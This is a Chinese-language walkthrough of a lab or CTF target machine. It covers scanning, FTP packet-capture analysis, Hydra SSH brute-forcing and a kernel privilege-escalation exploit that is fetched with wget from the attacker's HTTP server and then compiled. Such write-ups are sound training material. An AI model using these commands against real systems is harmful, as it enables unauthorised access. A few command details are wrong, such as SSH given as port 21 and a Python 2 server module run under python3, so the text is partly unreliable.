攻击机:172.20.10.3
一、靶机IP扫描
arp-scan -l
确定靶机IP为172.20.10.2。
二、端口扫描
nmap -T4 -sV -p- -A 172.20.10.2
得到 21、22、80三个端口,21是ftp端口,22是ssh端口,80是web服务端口。
访问80端口
一张图片,没什么。
dirb扫一下后台
dirb http:172.20.10.2
发现了robots协议和一个secret的文件夹。server-status是403.
robots.txt提示的也是/secret这个路径。
还是这个图
访问21端口
因为是ftp服务,所以要通过ftp协议访问而不是http。
ftp://172.20.10.2:21
发现一个流量包,下载下来,用wireshark打开。
首先发现了两个FTP包,得到了FTP服务的用户名密码。
anonymous/password
挨个往下翻着看,可以看到SYST命令和LIST命令。
再往下看到了一个文件访问的流量包
一个叫secret_stuff.txt的文件,应该是提示。
直接在过滤器里面搜FTP-DATA的流量包
在一个里面看到了sup3rs3cr3tdirlol这个文件,不知道是21端口还是80端口,都试一下,发现在80端口下。
下载下来。
三、文件分析
file roflmao
查看文件类型
是可执行文件,给文件赋权执行。
chmod +x roflmao
./roflmao
得到了一个0x0856BF,看起来很像进程地址,但是我们还没有getshell,所以应该不是。可能依然是一个文件夹,80端口再试一下。
发现两个文件夹。
good_luck里面有一个文件:which_one_lol.txt,内容如下。
this_folder_contains_the_password有一个Pass.txt文件。
这两个文件应该就是账号密码了,文件名已经有很明显的提示了,good luck就是让你猜的,第二个也是说包含了密码。
四、端口爆破
现在21端口和80端口都利用过了,只有21端口的ssh没有用过,所以应该是爆破ssh的。通过hydra爆破ssh端口
hydra -L which_one_lol.txt -p Pass.txt 172.20.10.2 ssh
得到用户名/密码为:overflow/Pass.txt
五、提权
通过ssh连接
ssh overflow@172.20.10.2
然后输入密码。
连接成功后查看内核版本。
uname -a
版本是Linux 3.13.0
去payload库查找对应版本的提权payload
cd /usr/…/exploitdb/exploits/linux/local
searchsploit Linux 3.13.0
选择标红的这个。复制根目录。
cp /usr/share/exploitdb/exploits/linux/local/37292.c /
在根目录启动http服务
python3 -m SimpleHTTPServer 1234
靶机切换到tmp,下载对应文件
wget http://172.20.10.3:1234/37292.c
gcc编译
gcc 37292.c -o 37292
运行
提权成功